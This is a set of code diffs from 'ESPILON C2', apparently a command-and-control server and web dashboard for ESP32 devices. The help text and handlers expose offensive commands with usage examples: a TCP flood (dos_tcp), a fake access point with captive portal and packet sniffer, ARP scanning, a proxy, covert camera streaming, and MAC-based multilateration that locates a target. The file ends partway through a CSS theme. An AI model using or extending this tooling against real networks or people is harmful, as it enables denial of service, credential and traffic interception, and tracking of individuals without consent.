Display.device_event(device.id, "Status changed to Connected (heartbeat received)")
time.sleep(HEARTBEAT_CHECK_INTERVAL)
# CLI thread
threading.Thread(target=cli.loop, daemon=True).start()
# Function to accept client connections
def accept_loop():
while True:
try:
sock, addr = server.accept()
threading.Thread(
target=client_thread,
args=(sock, addr, transport, registry),
daemon=True
).start()
except OSError:
break
except Exception as e:
Display.error(f"Server error: {e}")
# Device status checker thread
threading.Thread(target=device_status_checker, daemon=True).start()
# Accept loop thread
threading.Thread(target=accept_loop, daemon=True).start()
# Accept loop
while True:
# ============================
# TUI or CLI mode
# ============================
if args.tui:
try:
sock, addr = server.accept()
threading.Thread(
target=client_thread,
args=(sock, addr, transport, registry), # Pass registry to client_thread
daemon=True
).start()
from tui.app import C3POApp
Display.enable_tui_mode()
app = C3POApp(registry=registry, cli=cli)
app.run()
except ImportError as e:
Display.error(f"TUI not available: {e}")
Display.error("Install textual: pip install textual")
sys.exit(1)
except KeyboardInterrupt:
pass
else:
# Classic CLI mode
try:
cli.loop()
except KeyboardInterrupt:
Display.system_message("Shutdown requested. Exiting...")
break
except Exception as e:
Display.error(f"Server error: {e}")
server.close()

View File

@ -1,11 +1,16 @@
import readline
import os
import time
from typing import Optional
from utils.display import Display
from cli.help import HelpManager
from core.transport import Transport
from proto.c2_pb2 import Command
from streams.udp_receiver import UDPReceiver
from streams.config import UDP_HOST, UDP_PORT, IMAGE_DIR, MULTILAT_AUTH_TOKEN
from web.server import UnifiedWebServer
from web.mlat import MlatEngine
DEV_MODE = True
@ -17,7 +22,12 @@ class CLI:
self.groups = groups
self.transport = transport
self.help_manager = HelpManager(commands, DEV_MODE)
self.active_commands = {} # {request_id: {"device_id": ..., "command_name": ..., "start_time": ..., "status": "running"}}
self.active_commands = {} # {request_id: {"device_id": ..., "command_name": ..., "start_time": ..., "status": "running"}}
# Separate server instances
self.web_server: Optional[UnifiedWebServer] = None
self.udp_receiver: Optional[UDPReceiver] = None
self.mlat_engine = MlatEngine()
readline.parse_and_bind("tab: complete")
readline.set_completer(self._complete)
@ -31,7 +41,7 @@ class CLI:
options = []
if len(parts) == 1:
options = ["send", "list", "group", "help", "clear", "exit", "active_commands"]
options = ["send", "list", "modules", "group", "help", "clear", "exit", "active_commands", "web", "camera"]
elif parts[0] == "send":
if len(parts) == 2: # Completing target (device ID, 'all', 'group')
@ -40,7 +50,14 @@ class CLI:
options = list(self.groups.all_groups().keys())
elif (len(parts) == 3 and parts[1] != "group") or (len(parts) == 4 and parts[1] == "group"): # Completing command name
options = self.commands.list()
# Add more logic here if commands have arguments that can be tab-completed
elif parts[0] == "web":
if len(parts) == 2:
options = ["start", "stop", "status"]
elif parts[0] == "camera":
if len(parts) == 2:
options = ["start", "stop", "status"]
elif parts[0] == "group":
if len(parts) == 2: # Completing group action
@ -68,37 +85,59 @@ class CLI:
if not cmd:
continue
parts = cmd.split()
action = parts[0]
if action == "help":
self.help_manager.show(parts[1:])
continue
if action == "exit":
if cmd == "exit":
return
if action == "clear":
os.system("cls" if os.name == "nt" else "clear")
continue
self.execute_command(cmd)
if action == "list":
self._handle_list()
continue
def execute_command(self, cmd: str):
"""Execute a command string. Used by both CLI loop and TUI."""
if not cmd:
return
if action == "group":
self._handle_group(parts[1:])
continue
parts = cmd.split()
action = parts[0]
if action == "send":
self._handle_send(parts)
continue
if action == "active_commands":
self._handle_active_commands()
continue
if action == "help":
self.help_manager.show(parts[1:])
return
Display.error("Unknown command")
if action == "exit":
return
if action == "clear":
os.system("cls" if os.name == "nt" else "clear")
return
if action == "list":
self._handle_list()
return
if action == "modules":
self.help_manager.show_modules()
return
if action == "group":
self._handle_group(parts[1:])
return
if action == "send":
self._handle_send(parts)
return
if action == "active_commands":
self._handle_active_commands()
return
if action == "web":
self._handle_web(parts[1:])
return
if action == "camera":
self._handle_camera(parts[1:])
return
Display.error("Unknown command")
# ================= HANDLERS =================
@ -287,3 +326,119 @@ class CLI:
cmd_info["status"],
elapsed_time
])
def _handle_web(self, parts):
"""Handle web server commands (frontend + multilateration API)."""
if not parts:
Display.error("Usage: web <start|stop|status>")
return
cmd = parts[0]
if cmd == "start":
if self.web_server and self.web_server.is_running:
Display.system_message("Web server is already running.")
return
self.web_server = UnifiedWebServer(
device_registry=self.registry,
mlat_engine=self.mlat_engine,
multilat_token=MULTILAT_AUTH_TOKEN,
camera_receiver=self.udp_receiver
)
if self.web_server.start():
Display.system_message(f"Web server started at {self.web_server.get_url()}")
else:
Display.error("Web server failed to start")
elif cmd == "stop":
if not self.web_server or not self.web_server.is_running:
Display.system_message("Web server is not running.")
return
self.web_server.stop()
Display.system_message("Web server stopped.")
self.web_server = None
elif cmd == "status":
Display.system_message("Web Server Status:")
if self.web_server and self.web_server.is_running:
Display.system_message(f" Status: Running")
Display.system_message(f" URL: {self.web_server.get_url()}")
else:
Display.system_message(f" Status: Stopped")
# MLAT stats
Display.system_message("MLAT Engine:")
state = self.mlat_engine.get_state()
Display.system_message(f" Mode: {state.get('coord_mode', 'gps').upper()}")
Display.system_message(f" Scanners: {state['scanners_count']}")
if state['target']:
pos = state['target']['position']
if 'lat' in pos:
Display.system_message(f" Target: ({pos['lat']:.6f}, {pos['lon']:.6f})")
else:
Display.system_message(f" Target: ({pos['x']:.2f}m, {pos['y']:.2f}m)")
else:
Display.system_message(f" Target: Not calculated")
else:
Display.error("Invalid web command. Use: start, stop, status")
def _handle_camera(self, parts):
"""Handle camera UDP receiver commands."""
if not parts:
Display.error("Usage: camera <start|stop|status>")
return
cmd = parts[0]
if cmd == "start":
if self.udp_receiver and self.udp_receiver.is_running:
Display.system_message("Camera UDP receiver is already running.")
return
self.udp_receiver = UDPReceiver(
host=UDP_HOST,
port=UDP_PORT,
image_dir=IMAGE_DIR,
device_registry=self.registry
)
if self.udp_receiver.start():
Display.system_message(f"Camera UDP receiver started on {UDP_HOST}:{UDP_PORT}")
# Update web server if running
if self.web_server and self.web_server.is_running:
self.web_server.set_camera_receiver(self.udp_receiver)
Display.system_message("Web server updated with camera receiver")
else:
Display.error("Camera UDP receiver failed to start")
elif cmd == "stop":
if not self.udp_receiver or not self.udp_receiver.is_running:
Display.system_message("Camera UDP receiver is not running.")
return
self.udp_receiver.stop()
Display.system_message("Camera UDP receiver stopped.")
self.udp_receiver = None
# Update web server
if self.web_server and self.web_server.is_running:
self.web_server.set_camera_receiver(None)
elif cmd == "status":
Display.system_message("Camera UDP Receiver Status:")
if self.udp_receiver and self.udp_receiver.is_running:
stats = self.udp_receiver.get_stats()
Display.system_message(f" Status: Running on {UDP_HOST}:{UDP_PORT}")
Display.system_message(f" Packets received: {stats['packets_received']}")
Display.system_message(f" Frames decoded: {stats['frames_received']}")
Display.system_message(f" Decode errors: {stats['decode_errors']}")
Display.system_message(f" Invalid tokens: {stats['invalid_tokens']}")
Display.system_message(f" Active cameras: {stats['active_cameras']}")
else:
Display.system_message(f" Status: Stopped")
else:
Display.error("Invalid camera command. Use: start, stop, status")

View File

@ -1,78 +1,295 @@
from utils.display import Display
# ESP32 Commands organized by module (matches Kconfig modules)
ESP_MODULES = {
"system": {
"description": "Core system commands",
"commands": {
"system_reboot": "Reboot the ESP32 device",
"system_mem": "Get memory info (heap, internal)",
"system_uptime": "Get device uptime",
}
},
"network": {
"description": "Network tools",
"commands": {
"ping": "Ping a host (ping <host>)",
"arp_scan": "ARP scan the local network",
"proxy_start": "Start TCP proxy (proxy_start <ip> <port>)",
"proxy_stop": "Stop TCP proxy",
"dos_tcp": "TCP flood (dos_tcp <ip> <port> <count>)",
}
},
"fakeap": {
"description": "Fake Access Point module",
"commands": {
"fakeap_start": "Start fake AP (fakeap_start <ssid> [open|wpa2] [pass])",
"fakeap_stop": "Stop fake AP",
"fakeap_status": "Show fake AP status",
"fakeap_clients": "List connected clients",
"fakeap_portal_start": "Start captive portal",
"fakeap_portal_stop": "Stop captive portal",
"fakeap_sniffer_on": "Enable packet sniffer",
"fakeap_sniffer_off": "Disable packet sniffer",
}
},
"recon": {
"description": "Reconnaissance module (Camera + MLAT)",
"commands": {
"cam_start": "Start camera streaming (cam_start <ip> <port>)",
"cam_stop": "Stop camera streaming",
"mlat config": "Set position (mlat config [gps|local] <c1> <c2>)",
"mlat mode": "Set scan mode (mlat mode <ble|wifi>)",
"mlat start": "Start MLAT scanning (mlat start <mac>)",
"mlat stop": "Stop MLAT scanning",
"mlat status": "Show MLAT status",
}
}
}
class HelpManager:
def __init__(self, command_registry, dev_mode: bool = False):
self.commands = command_registry
self.dev_mode = dev_mode
def _out(self, text: str):
"""Output helper that works in both CLI and TUI mode."""
Display.system_message(text)
def show(self, args: list[str]):
if args:
self._show_command_help(args[0])
else:
self._show_global_help()
def _show_global_help(self):
Display.system_message("=== ESPILON C2 HELP ===")
print("\nCLI Commands:")
print(" help [command] Show this help or help for a specific command")
print(" list List connected ESP devices")
print(" send <target> Send a command to ESP device(s)")
print(" group <action> Manage ESP device groups (add, remove, list, show)")
print(" active_commands List all currently running commands")
print(" clear Clear the terminal screen")
print(" exit Exit the C2 application")
def show_modules(self):
"""Show ESP commands organized by module."""
self._out("=== ESP32 COMMANDS BY MODULE ===")
self._out("")
print("\nESP Commands (available to send to devices):")
for name in self.commands.list():
handler = self.commands.get(name)
print(f" {name:<15} {handler.description}")
for module_name, module_info in ESP_MODULES.items():
self._out(f"[{module_name.upper()}] - {module_info['description']}")
for cmd_name, cmd_desc in module_info["commands"].items():
self._out(f" {cmd_name:<20} {cmd_desc}")
self._out("")
self._out("Use 'help <command>' for detailed help on a specific command.")
self._out("Send commands with: send <device_id|all> <command> [args...]")
def _show_global_help(self):
self._out("=== ESPILON C2 HELP ===")
self._out("")
self._out("C2 Commands:")
self._out(" help [command] Show help or help for a specific command")
self._out(" list List connected ESP devices")
self._out(" modules List ESP commands organized by module")
self._out(" send <target> <cmd> Send a command to ESP device(s)")
self._out(" group <action> Manage device groups (add, remove, list, show)")
self._out(" active_commands List currently running commands")
self._out(" clear Clear terminal screen")
self._out(" exit Exit C2")
self._out("")
self._out("Server Commands:")
self._out(" web start|stop|status Web dashboard server")
self._out(" camera start|stop|status Camera UDP receiver")
self._out("")
self._out("ESP Commands: (use 'modules' for detailed list)")
registered_cmds = self.commands.list()
if registered_cmds:
for name in registered_cmds:
handler = self.commands.get(name)
self._out(f" {name:<15} {handler.description}")
else:
self._out(" (no registered commands - use 'send' with any ESP command)")
if self.dev_mode:
Display.system_message("\nDEV MODE ENABLED:")
print(" You can send arbitrary text commands: send <target> <any text>")
self._out("")
self._out("DEV MODE: Send arbitrary text: send <target> <any text>")
def _show_command_help(self, command_name: str):
# CLI Commands
if command_name == "list":
Display.system_message("Help for 'list' command:")
print(" Usage: list")
print(" Description: Displays a table of all currently connected ESP devices,")
print(" including their ID, IP address, connection duration, and last seen timestamp.")
self._out("Help for 'list' command:")
self._out(" Usage: list")
self._out(" Description: Displays all connected ESP devices with ID, IP, status,")
self._out(" connection duration, and last seen timestamp.")
elif command_name == "send":
Display.system_message("Help for 'send' command:")
print(" Usage: send <device_id|all|group <group_name>> <command_name> [args...]")
print(" Description: Sends a command to one or more ESP devices.")
print(" Examples:")
print(" send 1234567890 reboot")
print(" send all get_status")
print(" send group my_group ping 8.8.8.8")
self._out("Help for 'send' command:")
self._out(" Usage: send <device_id|all|group <name>> <command> [args...]")
self._out(" Description: Sends a command to one or more ESP devices.")
self._out(" Examples:")
self._out(" send ESP_ABC123 reboot")
self._out(" send all wifi status")
self._out(" send group scanners mlat start AA:BB:CC:DD:EE:FF")
elif command_name == "group":
Display.system_message("Help for 'group' command:")
print(" Usage: group <action> [args...]")
print(" Actions:")
print(" add <group_name> <device_id1> [device_id2...] - Add devices to a group.")
print(" remove <group_name> <device_id1> [device_id2...] - Remove devices from a group.")
print(" list - List all defined groups and their members.")
print(" show <group_name> - Show members of a specific group.")
print(" Examples:")
print(" group add my_group 1234567890 ABCDEF1234")
print(" group remove my_group 1234567890")
print(" group list")
print(" group show my_group")
elif command_name in ["clear", "exit"]:
Display.system_message(f"Help for '{command_name}' command:")
print(f" Usage: {command_name}")
print(f" Description: {command_name.capitalize()}s the terminal screen." if command_name == "clear" else f" Description: {command_name.capitalize()}s the C2 application.")
self._out("Help for 'group' command:")
self._out(" Usage: group <action> [args...]")
self._out(" Actions:")
self._out(" add <name> <id1> [id2...] Add devices to a group")
self._out(" remove <name> <id1> [id2...] Remove devices from a group")
self._out(" list List all groups")
self._out(" show <name> Show group members")
elif command_name == "web":
self._out("Help for 'web' command:")
self._out(" Usage: web <start|stop|status>")
self._out(" Description: Control the web dashboard server.")
self._out(" Actions:")
self._out(" start Start the web server (dashboard, cameras, MLAT)")
self._out(" stop Stop the web server")
self._out(" status Show server status and MLAT engine info")
self._out(" Default URL: http://127.0.0.1:5000")
elif command_name == "camera":
self._out("Help for 'camera' command:")
self._out(" Usage: camera <start|stop|status>")
self._out(" Description: Control the camera UDP receiver.")
self._out(" Actions:")
self._out(" start Start UDP receiver for camera frames")
self._out(" stop Stop UDP receiver")
self._out(" status Show receiver stats (packets, frames, errors)")
self._out(" Default port: 12345")
elif command_name == "modules":
self._out("Help for 'modules' command:")
self._out(" Usage: modules")
self._out(" Description: List all ESP32 commands organized by module.")
self._out(" Modules: system, network, fakeap, recon")
elif command_name in ["clear", "exit", "active_commands"]:
self._out(f"Help for '{command_name}' command:")
self._out(f" Usage: {command_name}")
descs = {
"clear": "Clear the terminal screen",
"exit": "Exit the C2 application",
"active_commands": "Show all commands currently being executed"
}
self._out(f" Description: {descs.get(command_name, '')}")
# ESP Commands (by module or registered)
else:
# Check if it's an ESP command
# Check in modules first
for module_name, module_info in ESP_MODULES.items():
if command_name in module_info["commands"]:
self._out(f"ESP Command '{command_name}' [{module_name.upper()}]:")
self._out(f" Description: {module_info['commands'][command_name]}")
self._show_esp_command_detail(command_name)
return
# Check registered commands
handler = self.commands.get(command_name)
if handler:
Display.system_message(f"Help for ESP Command '{command_name}':")
print(f" Description: {handler.description}")
# Assuming ESP commands might have a usage string or more detailed help
self._out(f"ESP Command '{command_name}':")
self._out(f" Description: {handler.description}")
if hasattr(handler, 'usage'):
print(f" Usage: {handler.usage}")
if hasattr(handler, 'long_description'):
print(f" Details: {handler.long_description}")
self._out(f" Usage: {handler.usage}")
else:
Display.error(f"No help available for command '{command_name}'.")
Display.error(f"No help available for '{command_name}'.")
def _show_esp_command_detail(self, cmd: str):
"""Show detailed help for specific ESP commands."""
details = {
# MLAT subcommands
"mlat config": [
" Usage: send <device> mlat config [gps|local] <coord1> <coord2>",
" GPS mode: mlat config gps <lat> <lon> - degrees",
" Local mode: mlat config local <x> <y> - meters",
" Examples:",
" send ESP1 mlat config gps 48.8566 2.3522",
" send ESP1 mlat config local 10.0 5.5",
],
"mlat mode": [
" Usage: send <device> mlat mode <ble|wifi>",
" Example: send ESP1 mlat mode ble",
],
"mlat start": [
" Usage: send <device> mlat start <mac>",
" Example: send ESP1 mlat start AA:BB:CC:DD:EE:FF",
],
"mlat stop": [
" Usage: send <device> mlat stop",
],
"mlat status": [
" Usage: send <device> mlat status",
],
"cam_start": [
" Usage: send <device> cam_start <ip> <port>",
" Description: Start camera streaming to C2 UDP receiver",
" Example: send ESP_CAM cam_start 192.168.1.100 12345",
],
"cam_stop": [
" Usage: send <device> cam_stop",
" Description: Stop camera streaming",
],
"fakeap_start": [
" Usage: send <device> fakeap_start <ssid> [open|wpa2] [password]",
" Examples:",
" send ESP1 fakeap_start FreeWiFi",
" send ESP1 fakeap_start SecureNet wpa2 mypassword",
],
"fakeap_stop": [
" Usage: send <device> fakeap_stop",
],
"fakeap_status": [
" Usage: send <device> fakeap_status",
" Shows: AP running, portal status, sniffer status, client count",
],
"fakeap_clients": [
" Usage: send <device> fakeap_clients",
" Lists all connected clients to the fake AP",
],
"fakeap_portal_start": [
" Usage: send <device> fakeap_portal_start",
" Description: Enable captive portal (requires fakeap running)",
],
"fakeap_portal_stop": [
" Usage: send <device> fakeap_portal_stop",
],
"fakeap_sniffer_on": [
" Usage: send <device> fakeap_sniffer_on",
" Description: Enable packet sniffing",
],
"fakeap_sniffer_off": [
" Usage: send <device> fakeap_sniffer_off",
],
"ping": [
" Usage: send <device> ping <host>",
" Example: send ESP1 ping 8.8.8.8",
],
"arp_scan": [
" Usage: send <device> arp_scan",
" Description: Scan local network for hosts",
],
"proxy_start": [
" Usage: send <device> proxy_start <ip> <port>",
" Example: send ESP1 proxy_start 192.168.1.100 8080",
],
"proxy_stop": [
" Usage: send <device> proxy_stop",
],
"dos_tcp": [
" Usage: send <device> dos_tcp <ip> <port> <count>",
" Example: send ESP1 dos_tcp 192.168.1.100 80 1000",
],
"system_reboot": [
" Usage: send <device> system_reboot",
" Description: Reboot the ESP32 device",
],
"system_mem": [
" Usage: send <device> system_mem",
" Shows: heap_free, heap_min, internal_free",
],
"system_uptime": [
" Usage: send <device> system_uptime",
" Shows: uptime in days/hours/minutes/seconds",
],
}
if cmd in details:
for line in details[cmd]:
self._out(line)

View File

@ -14,7 +14,11 @@ class Device:
connected_at: float = field(default_factory=time.time)
last_seen: float = field(default_factory=time.time)
status: str = "Connected" # New status field
status: str = "Connected"
# System info (populated by auto system_info query)
chip: str = ""
modules: str = ""
def touch(self):
"""

View File

@ -1,7 +1,7 @@
from core.crypto import CryptoContext
from core.device import Device
from core.registry import DeviceRegistry
from logging.manager import LogManager
from log.manager import LogManager
from utils.display import Display
from proto.c2_pb2 import Command, AgentMessage, AgentMsgType
@ -64,6 +64,7 @@ class Transport:
# ==================================================
def _dispatch(self, sock, addr, msg: AgentMessage):
device = self.registry.get(msg.device_id)
is_new_device = False
if not device:
device = Device(
@ -73,11 +74,63 @@ class Transport:
)
self.registry.add(device)
Display.device_event(device.id, f"Connected from {addr[0]}")
is_new_device = True
else:
# Device reconnected with new socket - update connection info
if device.sock != sock:
try:
device.sock.close()
except Exception:
pass
device.sock = sock
device.address = addr
Display.device_event(device.id, f"Reconnected from {addr[0]}:{addr[1]}")
device.touch()
self._handle_agent_message(device, msg)
# Auto-query system_info on new device connection
if is_new_device:
self._auto_query_system_info(device)
def _auto_query_system_info(self, device: Device):
"""Send system_info command automatically when device connects."""
try:
cmd = Command()
cmd.device_id = device.id
cmd.command_name = "system_info"
cmd.request_id = f"auto-sysinfo-{device.id}"
self.send_command(device.sock, cmd)
except Exception as e:
Display.error(f"Auto system_info failed for {device.id}: {e}")
def _parse_system_info(self, device: Device, payload: str):
"""Parse system_info response and update device info."""
# Format: chip=esp32 cores=2 flash=external heap=4310096 uptime=7s modules=network,fakeap
try:
for part in payload.split():
if "=" in part:
key, value = part.split("=", 1)
if key == "chip":
device.chip = value
elif key == "modules":
device.modules = value
# Notify TUI about device info update
Display.device_event(device.id, f"INFO: {payload}")
# Send special message to update TUI title
from utils.display import Display as Disp
if Disp._tui_mode:
from tui.bridge import tui_bridge, TUIMessage, MessageType
tui_bridge.post_message(TUIMessage(
msg_type=MessageType.DEVICE_INFO_UPDATED,
device_id=device.id,
payload=device.modules
))
except Exception as e:
Display.error(f"Failed to parse system_info: {e}")
# ==================================================
# AGENT MESSAGE HANDLER
# ==================================================
@ -90,12 +143,30 @@ class Transport:
payload_str = repr(msg.payload)
if msg.type == AgentMsgType.AGENT_CMD_RESULT:
if msg.request_id and self.cli:
# Check if this is auto system_info response
if msg.request_id and msg.request_id.startswith("auto-sysinfo-"):
self._parse_system_info(device, payload_str)
elif msg.request_id and self.cli:
self.cli.handle_command_response(msg.request_id, device.id, payload_str, msg.eof)
else:
Display.device_event(device.id, f"Command result (no request_id or CLI not set): {payload_str}")
elif msg.type == AgentMsgType.AGENT_INFO:
Display.device_event(device.id, f"INFO: {payload_str}")
# Check for system_info response (format: chip=... modules=...)
if "chip=" in payload_str and "modules=" in payload_str:
self._parse_system_info(device, payload_str)
return
# Check for MLAT data (format: MLAT:x;y;rssi)
elif payload_str.startswith("MLAT:") and self.cli:
mlat_data = payload_str[5:] # Remove "MLAT:" prefix
if self.cli.mlat_engine.parse_mlat_message(device.id, mlat_data):
# Recalculate position if we have enough scanners
state = self.cli.mlat_engine.get_state()
if state["scanners_count"] >= 3:
self.cli.mlat_engine.calculate_position()
else:
Display.device_event(device.id, f"MLAT: Invalid data format: {mlat_data}")
else:
Display.device_event(device.id, f"INFO: {payload_str}")
elif msg.type == AgentMsgType.AGENT_ERROR:
Display.device_event(device.id, f"ERROR: {payload_str}")
elif msg.type == AgentMsgType.AGENT_LOG:

3
tools/c2/log/__init__.py Normal file
View File

@ -0,0 +1,3 @@
from .manager import LogManager
__all__ = ["LogManager"]

66
tools/c2/log/manager.py Normal file
View File

@ -0,0 +1,66 @@
"""Log manager for storing device messages."""
import time
from typing import Dict, List, Optional
from dataclasses import dataclass
@dataclass
class LogEntry:
"""A single log entry from a device."""
timestamp: float
device_id: str
msg_type: str
source: str
payload: str
request_id: Optional[str] = None
class LogManager:
"""Manages log storage for device messages."""
def __init__(self, max_entries_per_device: int = 1000):
self.max_entries = max_entries_per_device
self._logs: Dict[str, List[LogEntry]] = {}
def add(self, device_id: str, msg_type: str, source: str, payload: str, request_id: str = None):
if device_id not in self._logs:
self._logs[device_id] = []
entry = LogEntry(
timestamp=time.time(),
device_id=device_id,
msg_type=msg_type,
source=source,
payload=payload,
request_id=request_id
)
self._logs[device_id].append(entry)
if len(self._logs[device_id]) > self.max_entries:
self._logs[device_id] = self._logs[device_id][-self.max_entries:]
def get_logs(self, device_id: str, limit: int = 100) -> List[LogEntry]:
if device_id not in self._logs:
return []
return self._logs[device_id][-limit:]
def get_all_logs(self, limit: int = 100) -> List[LogEntry]:
all_entries = []
for entries in self._logs.values():
all_entries.extend(entries)
all_entries.sort(key=lambda e: e.timestamp)
return all_entries[-limit:]
def clear(self, device_id: str = None):
if device_id:
self._logs.pop(device_id, None)
else:
self._logs.clear()
def device_count(self) -> int:
return len(self._logs)
def total_entries(self) -> int:
return sum(len(entries) for entries in self._logs.values())

View File

@ -0,0 +1,935 @@
/* ESPILON C2 - Violet Theme */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
:root {
/* Background colors - deep dark with violet undertones */
--bg-primary: #0a0a0f;
--bg-secondary: #12121a;
--bg-tertiary: #06060a;
--bg-elevated: #1a1a25;
/* Border colors */
--border-color: #2a2a3d;
--border-light: #3d3d55;
/* Text colors */
--text-primary: #e4e4ed;
--text-secondary: #8888a0;
--text-muted: #5a5a70;
/* Accent colors - violet palette */
--accent-primary: #a855f7;
--accent-primary-hover: #c084fc;
--accent-primary-bg: rgba(168, 85, 247, 0.15);
--accent-primary-glow: rgba(168, 85, 247, 0.4);
--accent-secondary: #818cf8;
--accent-secondary-bg: rgba(129, 140, 248, 0.15);
/* Status colors */
--status-online: #22d3ee;
--status-online-bg: rgba(34, 211, 238, 0.15);
--status-warning: #fbbf24;
--status-warning-bg: rgba(251, 191, 36, 0.15);
--status-error: #f87171;
--status-error-bg: rgba(248, 113, 113, 0.15);
--status-success: #4ade80;
--status-success-bg: rgba(74, 222, 128, 0.15);
/* Button colors */
--btn-primary: #7c3aed;
--btn-primary-hover: #8b5cf6;
--btn-secondary: #1e1e2e;
--btn-secondary-hover: #2a2a3d;
/* Gradients */
--gradient-primary: linear-gradient(135deg, #7c3aed 0%, #a855f7 100%);
--gradient-glow: radial-gradient(circle at center, var(--accent-primary-glow) 0%, transparent 70%);
}
body {
font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
background: var(--bg-primary);
color: var(--text-primary);
min-height: 100vh;
}
/* ========== Header ========== */
header {
background: var(--bg-secondary);
border-bottom: 1px solid var(--border-color);
padding: 12px 24px;
display: flex;
justify-content: space-between;
align-items: center;
backdrop-filter: blur(10px);
}
.logo {
font-size: 18px;
font-weight: 700;
letter-spacing: 2px;
background: var(--gradient-primary);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
background-clip: text;
}
.main-nav {
display: flex;
gap: 4px;
}
.nav-link {
color: var(--text-secondary);
text-decoration: none;
font-size: 13px;
font-weight: 500;
padding: 8px 16px;
border-radius: 8px;
transition: all 0.2s ease;
position: relative;
}
.nav-link:hover {
color: var(--text-primary);
background: var(--bg-elevated);
}
.nav-link.active {
color: var(--accent-primary);
background: var(--accent-primary-bg);
}
.nav-link.active::after {
content: '';
position: absolute;
bottom: -13px;
left: 50%;
transform: translateX(-50%);
width: 20px;
height: 2px;
background: var(--accent-primary);
border-radius: 2px;
}
.header-right {
display: flex;
align-items: center;
gap: 16px;
}
.status {
display: flex;
align-items: center;
gap: 8px;
font-size: 12px;
color: var(--text-secondary);
padding: 6px 12px;
background: var(--bg-elevated);
border-radius: 20px;
}
.status-dot {
width: 8px;
height: 8px;
background: var(--status-online);
border-radius: 50%;
box-shadow: 0 0 8px var(--status-online);
animation: pulse 2s infinite;
}
@keyframes pulse {
0%, 100% { opacity: 1; }
50% { opacity: 0.5; }
}
.logout {
color: var(--text-secondary);
text-decoration: none;
font-size: 13px;
padding: 6px 12px;
border-radius: 6px;
transition: all 0.2s ease;
}
.logout:hover {
color: var(--text-primary);
background: var(--bg-elevated);
}
/* ========== Main Content ========== */
main {
padding: 24px;
max-width: 1400px;
margin: 0 auto;
}
.page-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 24px;
}
.page-title {
font-size: 13px;
color: var(--text-secondary);
text-transform: uppercase;
letter-spacing: 1px;
}
.page-title span {
color: var(--text-primary);
font-weight: 600;
margin-left: 8px;
}
/* ========== Cards Grid ========== */
.grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
gap: 16px;
}
.grid-cameras {
grid-template-columns: repeat(auto-fill, minmax(400px, 1fr));
}
.card {
background: var(--bg-secondary);
border: 1px solid var(--border-color);
border-radius: 12px;
overflow: hidden;
transition: all 0.2s ease;
}
.card:hover {
border-color: var(--border-light);
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.3);
}
.card-header {
padding: 12px 16px;
border-bottom: 1px solid var(--border-color);
display: flex;
justify-content: space-between;
align-items: center;
font-size: 13px;
}
.card-header .name {
font-family: 'JetBrains Mono', monospace;
font-weight: 500;
color: var(--text-primary);
}
.card-header .badge {
font-size: 10px;
font-weight: 600;
padding: 4px 10px;
border-radius: 12px;
text-transform: uppercase;
letter-spacing: 0.5px;
}
.badge-live {
color: var(--status-online);
background: var(--status-online-bg);
}
.badge-connected {
color: var(--status-success);
background: var(--status-success-bg);
}
.badge-inactive {
color: var(--status-warning);
background: var(--status-warning-bg);
}
.card-body {
padding: 16px;
}
.card-body-image {
background: var(--bg-tertiary);
min-height: 240px;
display: flex;
align-items: center;
justify-content: center;
padding: 0;
}
.card-body-image img {
width: 100%;
height: auto;
display: block;
}
/* ========== Device Card ========== */
.device-info {
display: flex;
flex-direction: column;
gap: 10px;
}
.device-row {
display: flex;
justify-content: space-between;
font-size: 13px;
}
.device-row .label {
color: var(--text-muted);
}
.device-row .value {
color: var(--text-primary);
font-family: 'JetBrains Mono', monospace;
font-size: 12px;
}
/* ========== Empty State ========== */
.empty {
text-align: center;
padding: 80px 20px;
color: var(--text-secondary);
}
.empty h2 {
font-size: 18px;
font-weight: 600;
color: var(--text-primary);
margin-bottom: 8px;
}
.empty p {
font-size: 14px;
color: var(--text-muted);
}
/* ========== Header Stats ========== */
.header-stats {
display: flex;
gap: 24px;
}
.header-stats .stat {
display: flex;
flex-direction: column;
align-items: center;
}
.header-stats .stat-value {
font-size: 24px;
font-weight: 700;
color: var(--accent-primary);
font-family: 'JetBrains Mono', monospace;
}
.header-stats .stat-label {
font-size: 11px;
text-transform: uppercase;
letter-spacing: 1px;
color: var(--text-muted);
}
/* ========== Lain Empty State ========== */
.empty-lain {
display: flex;
justify-content: center;
align-items: center;
min-height: 60vh;
text-align: center;
padding: 40px 20px;
}
.lain-container {
display: flex;
flex-direction: column;
align-items: center;
gap: 24px;
}
.lain-ascii {
font-family: 'JetBrains Mono', monospace;
font-size: 10px;
line-height: 1.2;
color: var(--accent-primary);
opacity: 0.7;
text-shadow: 0 0 10px var(--accent-primary-glow);
animation: pulse-glow 3s ease-in-out infinite;
}
@keyframes pulse-glow {
0%, 100% { opacity: 0.5; text-shadow: 0 0 10px var(--accent-primary-glow); }
50% { opacity: 0.9; text-shadow: 0 0 20px var(--accent-primary-glow), 0 0 40px var(--accent-primary-glow); }
}
.lain-message h2 {
font-size: 20px;
font-weight: 600;
color: var(--text-primary);
margin-bottom: 8px;
}
.lain-message .typing {
font-size: 14px;
color: var(--accent-secondary);
margin-bottom: 16px;
}
.lain-message .quote {
font-size: 12px;
color: var(--text-muted);
font-style: italic;
opacity: 0.7;
}
/* ========== MLAT Container ========== */
.mlat-container {
display: grid;
grid-template-columns: 1fr 320px;
gap: 20px;
}
@media (max-width: 900px) {
.mlat-container {
grid-template-columns: 1fr;
}
}
/* View Toggle Buttons */
.view-toggle {
display: flex;
gap: 4px;
background: var(--bg-secondary);
padding: 4px;
border-radius: 10px;
border: 1px solid var(--border-color);
}
.view-btn {
display: flex;
align-items: center;
gap: 6px;
padding: 8px 16px;
border: none;
background: transparent;
color: var(--text-secondary);
font-size: 13px;
font-weight: 500;
cursor: pointer;
border-radius: 6px;
transition: all 0.2s ease;
}
.view-btn:hover {
color: var(--text-primary);
background: var(--bg-elevated);
}
.view-btn.active {
background: var(--accent-primary-bg);
color: var(--accent-primary);
}
.view-btn svg {
opacity: 0.7;
}
.view-btn.active svg {
opacity: 1;
}
/* Map/Plan View Wrapper */
.mlat-view-wrapper {
background: var(--bg-secondary);
border: 1px solid var(--border-color);
border-radius: 12px;
overflow: hidden;
position: relative;
}
.mlat-view-wrapper::before {
content: '';
position: absolute;
top: 0;
left: 0;
